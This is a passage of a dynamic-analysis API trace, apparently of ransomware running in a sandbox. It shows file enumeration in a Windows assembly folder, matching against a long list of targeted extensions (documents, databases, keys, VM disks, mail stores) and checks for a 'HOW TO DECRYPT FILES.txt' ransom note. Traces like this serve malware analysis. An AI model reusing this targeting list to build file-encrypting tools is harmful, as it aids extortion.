[0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.dot") returned 0 [0101.139] lstrlenA (lpString="*.dot") returned 5 [0101.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.docx") returned 0 [0101.139] lstrlenA (lpString="*.docx") returned 6 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.7z") returned 0 [0101.140] lstrlenA (lpString="*.7z") returned 4 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.tar") returned 0 [0101.140] lstrlenA (lpString="*.tar") returned 5 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.bz2") returned 0 [0101.140] lstrlenA (lpString="*.bz2") returned 5 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.gz") returned 0 [0101.140] lstrlenA (lpString="*.gz") returned 4 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mkv") returned 0 [0101.140] lstrlenA (lpString="*.mkv") returned 5 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.eml") returned 0 [0101.140] lstrlenA (lpString="*.eml") returned 5 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.msg") returned 0 [0101.140] lstrlenA (lpString="*.msg") returned 5 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.edb") returned 0 [0101.140] lstrlenA (lpString="*.edb") returned 5 [0101.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.accdb") returned 0 [0101.141] lstrlenA (lpString="*.accdb") returned 7 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.odb") returned 0 [0101.141] lstrlenA (lpString="*.odb") returned 5 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.java") returned 0 [0101.141] lstrlenA (lpString="*.java") returned 6 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.asm") returned 0 [0101.141] lstrlenA (lpString="*.asm") returned 5 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.pfx") returned 0 [0101.141] lstrlenA (lpString="*.pfx") returned 5 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.pem") returned 0 [0101.141] lstrlenA (lpString="*.pem") returned 5 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.p12") returned 0 [0101.141] lstrlenA (lpString="*.p12") returned 5 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.gpg") returned 0 [0101.141] lstrlenA (lpString="*.gpg") returned 5 [0101.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.vsd") returned 0 [0101.141] lstrlenA (lpString="*.vsd") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.odg") returned 0 [0101.142] lstrlenA (lpString="*.odg") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.raw") returned 0 [0101.142] lstrlenA (lpString="*.raw") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.nef") returned 0 [0101.142] lstrlenA (lpString="*.nef") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.svg") returned 0 [0101.142] lstrlenA (lpString="*.svg") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.psd") returned 0 [0101.142] lstrlenA (lpString="*.psd") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.vmx") returned 0 [0101.142] lstrlenA (lpString="*.vmx") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.vmdk") returned 0 [0101.142] lstrlenA (lpString="*.vmdk") returned 6 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.vdi") returned 0 [0101.142] lstrlenA (lpString="*.vdi") returned 5 [0101.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.lay6") returned 0 [0101.142] lstrlenA (lpString="*.lay6") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mpeg") returned 0 [0101.143] lstrlenA (lpString="*.mpeg") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.djvu") returned 0 [0101.143] lstrlenA (lpString="*.djvu") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.tiff") returned 0 [0101.143] lstrlenA (lpString="*.tiff") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.backup") returned 0 [0101.143] lstrlenA (lpString="*.backup") returned 8 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.pdf") returned 0 [0101.143] lstrlenA (lpString="*.pdf") returned 5 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.cert") returned 0 [0101.143] lstrlenA (lpString="*.cert") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.docm") returned 0 [0101.143] lstrlenA (lpString="*.docm") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.xlsm") returned 0 [0101.143] lstrlenA (lpString="*.xlsm") returned 6 [0101.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.dwg") returned 0 [0101.143] lstrlenA (lpString="*.dwg") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.nd") returned 0 [0101.144] lstrlenA (lpString="*.nd") returned 4 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.tlg") returned 0 [0101.144] lstrlenA (lpString="*.tlg") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.lgb") returned 0 [0101.144] lstrlenA (lpString="*.lgb") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mov") returned 0 [0101.144] lstrlenA (lpString="*.mov") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.xdw") returned 0 [0101.144] lstrlenA (lpString="*.xdw") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.ods") returned 0 [0101.144] lstrlenA (lpString="*.ods") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.wav") returned 0 [0101.144] lstrlenA (lpString="*.wav") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.mp3") returned 0 [0101.144] lstrlenA (lpString="*.mp3") returned 5 [0101.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.aiff") returned 0 [0101.145] lstrlenA (lpString="*.aiff") returned 6 [0101.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.flac") returned 0 [0101.145] lstrlenA (lpString="*.flac") returned 6 [0101.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.m4a") returned 0 [0101.145] lstrlenA (lpString="*.m4a") returned 5 [0101.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config", pszSpec="*.csv") returned 0 [0101.145] lstrlenA (lpString="*.csv") returned 5 [0101.145] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b251510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b251510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.145] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.145] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned -1 [0101.145] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned -1 [0101.145] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned -1 [0101.145] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config") returned="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config" [0101.145] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" [0101.145] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.146] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.146] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.146] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll" [0101.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.ems") returned 0 [0101.146] lstrlenA (lpString="*.ems") returned 5 [0101.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.db") returned 0 [0101.146] lstrlenA (lpString="*.db") returned 4 [0101.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.dbf") returned 0 [0101.146] lstrlenA (lpString="*.dbf") returned 5 [0101.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.myox") returned 0 [0101.146] lstrlenA (lpString="*.myox") returned 6 [0101.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.myo") returned 0 [0101.146] lstrlenA (lpString="*.myo") returned 5 [0101.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qbw") returned 0 [0101.146] lstrlenA (lpString="*.qbw") returned 5 [0101.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qbb") returned 0 [0101.147] lstrlenA (lpString="*.qbb") returned 5 [0101.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qbm") returned 0 [0101.147] lstrlenA (lpString="*.qbm") returned 5 [0101.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qbo") returned 0 [0101.147] lstrlenA (lpString="*.qbo") returned 5 [0101.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qbx") returned 0 [0101.147] lstrlenA (lpString="*.qbx") returned 5 [0101.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qba") returned 0 [0101.147] lstrlenA (lpString="*.qba") returned 5 [0101.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qby") returned 0 [0101.148] lstrlenA (lpString="*.qby") returned 5 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qbj") returned 0 [0101.148] lstrlenA (lpString="*.qbj") returned 5 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.ofx") returned 0 [0101.148] lstrlenA (lpString="*.ofx") returned 5 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.qif") returned 0 [0101.148] lstrlenA (lpString="*.qif") returned 5 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.mye") returned 0 [0101.148] lstrlenA (lpString="*.mye") returned 5 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.mbox") returned 0 [0101.148] lstrlenA (lpString="*.mbox") returned 6 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.eml") returned 0 [0101.148] lstrlenA (lpString="*.eml") returned 5 [0101.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.pst") returned 0 [0101.148] lstrlenA (lpString="*.pst") returned 5 [0101.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.ost") returned 0 [0101.149] lstrlenA (lpString="*.ost") returned 5 [0101.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.idx") returned 0 [0101.149] lstrlenA (lpString="*.idx") returned 5 [0101.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.dbx") returned 0 [0101.149] lstrlenA (lpString="*.dbx") returned 5 [0101.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.sql") returned 0 [0101.149] lstrlenA (lpString="*.sql") returned 5 [0101.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", pszSpec="*.mdb") returned 0 [0101.149] lstrlenA (lpString="*.mdb") returned 5 [0101.150] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: 